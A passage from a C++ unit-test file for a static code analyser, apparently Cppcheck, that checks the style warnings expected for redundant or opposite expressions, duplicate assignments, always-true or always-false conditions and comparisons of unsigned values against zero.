{}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) 